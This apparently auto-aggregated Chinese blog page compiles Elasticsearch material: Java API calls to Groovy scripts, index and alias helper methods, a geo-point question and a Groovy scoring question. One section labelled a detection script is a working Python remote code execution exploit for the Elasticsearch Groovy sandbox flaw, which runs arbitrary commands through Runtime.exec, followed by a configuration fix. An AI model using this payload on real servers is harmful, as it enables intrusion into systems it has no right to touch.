GVKun编程网logo

如何使用Java API为Elasticsearch调用Groovy脚本(java elasticsearch api)

11

如果您想了解如何使用JavaAPI为Elasticsearch调用Groovy脚本和javaelasticsearchapi的知识,那么本篇文章将是您的不二之选。我们将深入剖析如何使用JavaAPI为

如果您想了解如何使用Java API为Elasticsearch调用Groovy脚本java elasticsearch api的知识,那么本篇文章将是您的不二之选。我们将深入剖析如何使用Java API为Elasticsearch调用Groovy脚本的各个方面,并为您解答java elasticsearch api的疑在这篇文章中,我们将为您介绍如何使用Java API为Elasticsearch调用Groovy脚本的相关知识,同时也会详细的解释java elasticsearch api的运用方法,并给出实际的案例分析,希望能帮助到您!

本文目录一览:

如何使用Java API为Elasticsearch调用Groovy脚本(java elasticsearch api)

如何使用Java API为Elasticsearch调用Groovy脚本(java elasticsearch api)

寻找指针以了解如何使用java api调用Groovy脚本。

测试规则

def value = dynamicValue    return value

想要用Java翻译以下查询:

GET /test-index/_search{   "query": {      "match_all": {}   },   "script_fields": {      "checkValue": {         "script": "test",         "params": {            "dynamicValue": 7         }      }   }}

答案1

小编典典

您可以这样做:

Map<String, Object> params = ImmutableMap.of("dynamicValue", 7);SearchResponse response = client().prepareSearch("test-index")        .setQuery(matchAllQuery())        .addScriptField("checkValue", new Script("test", ScriptType.FILE, "groovy", params))        .execute().actionGet();

您需要将存储test.groovy文件的config/scripts文件夹中的每个数据节点上,并且确保在脚本启用config/elasticsearch.yml

script.inline: onscript.file: on

#Elasticsearch常用Java API

#Elasticsearch常用Java API

ElasticSearch 6.7

1.新建索引

    /**
     * 新建索引
     * @param indexName
     * @return
     * @throws Exception
     */
    @PostMapping(value = "/createIndex")
    public String createIndex(@RequestParam("indexName") String indexName) {

        log.info("indexName:{}", indexName);

        return indexService.createIndex(indexName);
    }


    /**
     * 新建index
     *
     * @param name
     * @return
     * @throws IOException
     */

    public String createIndex(String name) {

        String newIndex = "";
        try {
            String mappingPath = "/mappings/" + name + "_mapping.json";
            String indexSettingSource = FileUtils.readFileLinesToJson(mappingPath).toString();
            CreateIndexResponse createIndexResponse = createIndex(gson.fromJson(indexSettingSource, CustomIndexSetting.class));
            newIndex = createIndexResponse.index();
        } catch (IOException e) {
            log.debug(e.getMessage());
        }
        return newIndex;
    }


    public CreateIndexResponse createIndex(CustomIndexSetting indexSetting) throws IOException {

        String indeName = indexSetting.getIndexName() + "-" + DateTime.now().toString("yy.MM.dd-HHmmss");

        return indexDao.createIndex(indeName, indexSetting.getIndexSource().toString());
    }


    /**
     * 创建index mappings, settings
     * @param indexName 索引名称
     * @param jsonSource 设置的json, 文档地址:https://www.elastic.co/guide/en/elasticsearch/client/java-rest/6.7/java-rest-high-create-index.html
     */
    public CreateIndexResponse createIndex(String indexName, String jsonSource) throws IOException {

        CreateIndexRequest request = new CreateIndexRequest(indexName);
        request.source(jsonSource, XContentType.JSON);

        /**
         * The following arguments can optionally be provided:
         */

        //Timeout to wait for the all the nodes to acknowledge the index creation as a TimeValue
        request.setTimeout(TimeValue.timeValueMinutes(2));

        //Timeout to connect to the master node as a TimeValue
        request.setMasterTimeout(TimeValue.timeValueMinutes(1));

        //The number of active shard copies to wait for before the create index API returns a response, as an ActiveShardCount
        request.waitForActiveShards(ActiveShardCount.DEFAULT);

        return restHighLevelClient.indices().create(request, RequestOptions.DEFAULT);

    }

2.获取以前缀开头的索引

    /**
     * 取得以prefixIndexName开头的所有index
     * @param prefixIndexName
     * @return
     */
    public String[] getIndices(String prefixIndexName) {

        try {
            String name = prefixIndexName + "*";
            GetIndexResponse indexResponse = restHighLevelClient.indices().get(new GetIndexRequest(name), RequestOptions.DEFAULT);

            String[] indexsName = indexResponse.getIndices();

            log.info("indexsName:{}", indexsName);
            return indexsName;
        } catch (Exception e) {
            log.debug(e.getMessage());
        }
        return null;
    }

3.判断索引是否存在

    /**
     * 判断索引名是否存在
     * @param indexName
     * @return
     * @throws IOException
     */
    public boolean existsIndex(String indexName) throws IOException{
        boolean existsIndex = restHighLevelClient.indices().exists(new GetIndexRequest(indexName), RequestOptions.DEFAULT);
        return existsIndex;
    }

4.判断索引别名是否存在

    /**
     * 判断别名索引是否存在
     * @param aliasName
     * @return
     * @throws IOException
     */
    public boolean existsAlias(String aliasName) throws IOException{
        boolean existsAlias = restHighLevelClient.indices().existsAlias(new GetAliasesRequest().aliases(aliasName), RequestOptions.DEFAULT);
        return existsAlias;
    }

5.查询索引数据量

    /**
     * 查询索引的数据总量
     * @param indexName
     * @return
     * @throws IOException
     */
    public SearchHits searchAll(String indexName) throws IOException{

        BoolQueryBuilder boolQueryBuilder = QueryBuilders.boolQuery();

        //builder
        SearchSourceBuilder builder = new SearchSourceBuilder()
                .query(boolQueryBuilder);

        //构建SearchRequest
        SearchRequest searchRequest = new SearchRequest();
        searchRequest.indices(indexName);
        searchRequest.source(builder);

        SearchResponse searchResponse = restHighLevelClient.search(searchRequest, RequestOptions.DEFAULT);
        SearchHits hits = searchResponse.getHits();
        return hits;
    }

6.滚动查询数据

    /**
     * 滚动查询数据
     * @param indexName
     * @param utime
     */
    public List<String> scrollSearchAll(String indexName, String utime) throws IOException{

        BoolQueryBuilder boolQueryBuilder = QueryBuilders.boolQuery();
        boolQueryBuilder.must(QueryBuilders.rangeQuery("utime").lt(utime).gt("946656000"));//946656000为2000-01-01 00:00:00

        //builder
        SearchSourceBuilder builder = new SearchSourceBuilder()
                .query(boolQueryBuilder)
                .size(500);

        log.info("builder:{}", builder);
        //构建SearchRequest
        SearchRequest searchRequest = new SearchRequest();
        searchRequest.indices(indexName);
        searchRequest.source(builder);

        Scroll scroll = new Scroll(new TimeValue(600000));
        searchRequest.scroll(scroll);
        SearchResponse searchResponse = restHighLevelClient.search(searchRequest);

        String scrollId = searchResponse.getScrollId();
        SearchHit[] hits = searchResponse.getHits().getHits();
        List<String> resultSearchHit = new ArrayList<>();
        while (ArrayUtils.isNotEmpty(hits)) {
            for (SearchHit hit : hits) {
                log.info("准备删除的数据hit:{}", hit);
                resultSearchHit.add(hit.getId());
            }
            //再次发送请求,并使用上次搜索结果的ScrollId
            SearchScrollRequest searchScrollRequest = new SearchScrollRequest(scrollId);
            searchScrollRequest.scroll(scroll);
            SearchResponse searchScrollResponse = restHighLevelClient.searchScroll(searchScrollRequest);
            scrollId = searchScrollResponse.getScrollId();
            hits = searchScrollResponse.getHits().getHits();
        }
        //及时清除es快照,释放资源
        ClearScrollRequest clearScrollRequest = new ClearScrollRequest();
        clearScrollRequest.addScrollId(scrollId);
        restHighLevelClient.clearScroll(clearScrollRequest);
        return resultSearchHit;
    }

7.根据别名查找索引名

    /**
     * 根据别名查找索引名
     * @param aliasName
     * @return
     * @throws IOException
     */
    public String getIndexByAlias(String aliasName) throws IOException{
        String indexName = "";
        Map map = restHighLevelClient.indices().getAlias(new GetAliasesRequest(aliasName), RequestOptions.DEFAULT).getAliases();
        Iterator iterator = map.keySet().iterator();
        while (iterator.hasNext()) {
            indexName = iterator.next().toString();
        }
        return indexName;
    }

8.添加索引别名

    /**
     * 添加索引别名
     * @param indexName
     * @param aliasName
     * @return
     * @throws IOException
     */
    public boolean addAlias(String indexName, String aliasName) throws IOException{

        boolean isAddAlias = restHighLevelClient.indices().updateAliases(new IndicesAliasesRequest().addAliasAction(IndicesAliasesRequest.AliasActions.add().alias(aliasName).index(indexName)))
                .isAcknowledged();

        return isAddAlias;
    }

9.替换别名

    /**
     * 将别名替换到新索引上
     * @param indexName
     * @param oldName
     * @param aliasName
     * @return
     * @throws IOException
     */
    public boolean replaceAlias(String indexName, String oldName, String aliasName) throws IOException {

        boolean isReplaceAlias = restHighLevelClient.indices().updateAliases(new IndicesAliasesRequest()
                .addAliasAction(IndicesAliasesRequest.AliasActions.remove().alias(aliasName).index(oldName))
                .addAliasAction(IndicesAliasesRequest.AliasActions.add().alias(aliasName).index(indexName))).isAcknowledged();

        return isReplaceAlias;
    }

10.删除索引

 

Elasticsearch - 如何在java中使用elasticsearch查找与地理定位点的匹配项

Elasticsearch - 如何在java中使用elasticsearch查找与地理定位点的匹配项

如何解决Elasticsearch - 如何在java中使用elasticsearch查找与地理定位点的匹配项?

我是 elasticSearch 的新手,我正在尝试查询与地图上特定点匹配的文档,我正在使用 GeoPoint 对象,我需要进行一个返回所有“地理区域”的查询包含此句点,但我对 elasticsearch 查询有些困惑。

我仍然没有正确理解为了执行这些操作我的文档必须具有的结构,在这里我离开我正在调用的文档的类

@Data
@Document(indexName = "geozona")
public class GeozonaElasticDTO {

    @Id
    @Field(type = FieldType.Long)
    private long id;

    @Field(type = FieldType.Text)
    private UUID uuid;

    @Field(type = FieldType.Text)
    private String nombre;

    @Field(type = FieldType.Text)
    private String descripcion;

    private List<UUID> etiquetas;

    private List<UUID> lugares;

    private List<UUID> geozonaLimiteVeLocidad;

    @Field(type = FieldType.Text)
    private EnumTipoGeozona tipoGeozona;

    @Field(type = FieldType.Double)
    private Double radio;

    @Field(type = FieldType.Text)
    private String pathEncode;

    @Field(type = FieldType.Object)
    @GeoPointField
    private List<GeoPoint> points;

    @Field(type = FieldType.Double)
    private double puntoDeReferenciaLatitud;

    @Field(type = FieldType.Double)
    private double puntoDeReferenciaLongitud;

    @Field(type = FieldType.Integer)
    private int limiteDeOrientacionGradoInicio;

    @Field(type = FieldType.Integer)
    private int limiteDeOrientacionGradoTermino;

    @Field(type = FieldType.Integer)
    private Integer ancho;

    @Field(type = FieldType.Boolean)
    private boolean eliminado;

    @Field(type = FieldType.Date,format = DateFormat.custom,pattern = "uuuu-MM-dd''T''HH:mm:ssZ")
    private zoneddatetime fechaCreacion;

    @Field(type = FieldType.Date,pattern = "uuuu-MM-dd''T''HH:mm:ssZ")
    private zoneddatetime fechaActualizacion;

    @Field(type = FieldType.Integer)
    private int version;
}

这是我在弹性服务器中的类的结构

    "geozona": {
        "aliases": {},"mappings": {
            "properties": {
                "_class": {
                    "type": "text","fields": {
                        "keyword": {
                            "type": "keyword","ignore_above": 256
                        }
                    }
                },"ancho": {
                    "type": "integer"
                },"descripcion": {
                    "type": "text"
                },"eliminado": {
                    "type": "boolean"
                },"etiquetas": {
                    "type": "text","fechaActualizacion": {
                    "type": "date","format": "uuuu-MM-dd''T''HH:mm:ssZ"
                },"fechaCreacion": {
                    "type": "date","geozonaLimiteVeLocidad": {
                    "type": "text","id": {
                    "type": "keyword"
                },"limiteDeOrientacionGradoInicio": {
                    "type": "integer"
                },"limiteDeOrientacionGradoTermino": {
                    "type": "integer"
                },"lugares": {
                    "type": "text","nombre": {
                    "type": "text"
                },"pathEncode": {
                    "type": "text"
                },"points": {
                    "type": "geo_point"
                },"puntoDeReferenciaLatitud": {
                    "type": "double"
                },"puntoDeReferenciaLongitud": {
                    "type": "double"
                },"radio": {
                    "type": "double"
                },"tipoGeozona": {
                    "type": "text"
                },"uuid": {
                    "type": "text"
                },"version": {
                    "type": "integer"
                }
            }
        },"settings": {
            "index": {
                "refresh_interval": "1s","number_of_shards": "1","provided_name": "geozona","creation_date": "1609949683125","store": {
                    "type": "fs"
                },"number_of_replicas": "1","uuid": "m-y7Qa5wSwGmDA3TVm4HkA","version": {
                    "created": "7090299"
                }
            }
        }
    }
}

如果有人能指导我如何开始正确处理地理定位点与弹性的重合,那将对我有很大帮助。

解决方法

暂无找到可以解决该程序问题的有效方法,小编努力寻找整理中!

如果你已经找到好的解决方法,欢迎将解决方案带上本链接一起发送给小编。

小编邮箱:dio#foxmail.com (将#修改为@)

ElasticSearch Groovy 脚本远程代码执行漏洞检测脚本和修复方案

ElasticSearch Groovy 脚本远程代码执行漏洞检测脚本和修复方案

高春辉、王春生、朱峰:关于开源创业的 15 件小事

检测脚本:

#!/usr/bin/env python
import urllib
import urllib2
import json
import sys

def execute(url,command):
    parameters = {"size":1,
		     "script_fields": 
		     {"iswin": 
		         {"script":"java.lang.Math.class.forName(\"java.lang.Runtime\").getRuntime().exec(\"%s\").getInputStream().readLines()" % command,"lang""groovy"}
		    }
		}
    data = json.dumps(parameters)
    try:
        request=urllib2.Request(url+"_search?pretty",data)
        request.add_header(''User-Agent''''Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.120 Safari/537.36'')
        response=urllib2.urlopen(request)
        result = json.loads(response.read())["hits"]["hits"][0]["fields"]["iswin"][0]
        for i in result:
            print i
    except Exception, e:
        print e

if __name__ == ''__main__'':
    if len(sys.argv) != 3:
        print "usage %s url command" % sys.argv[0]
    else:
        execute(sys.argv[1],sys.argv[2])

修复方案:

在 elasticsearch.yml 最后一行加上

script.groovy.sandbox.enabledfalse

并重启 elasticsearch

Elasticsearch groovy脚本判断string字段问题

Elasticsearch groovy脚本判断string字段问题

大家好 :

我使用elasticsearch的groovy脚本来计算相关性(script_score).

当字段为String array(字符串数组时)

{
          "script_score": {
            "script": "if(doc[''catalogs''].values.contains(''777'')) 1000.0 else 0"

          }
        }





可以正常工作.


当字段为String 时

{
          "script_score": {
            "script": "if(doc[''catalog''].value.contains(''TCL'')) 1000.0 else 0"

          }
        }



却不能正常工作, 请问我该使用是么样的语法解决这个问题

我们今天的关于如何使用Java API为Elasticsearch调用Groovy脚本java elasticsearch api的分享已经告一段落,感谢您的关注,如果您想了解更多关于#Elasticsearch常用Java API、Elasticsearch - 如何在java中使用elasticsearch查找与地理定位点的匹配项、ElasticSearch Groovy 脚本远程代码执行漏洞检测脚本和修复方案、Elasticsearch groovy脚本判断string字段问题的相关信息,请在本站查询。

本文标签: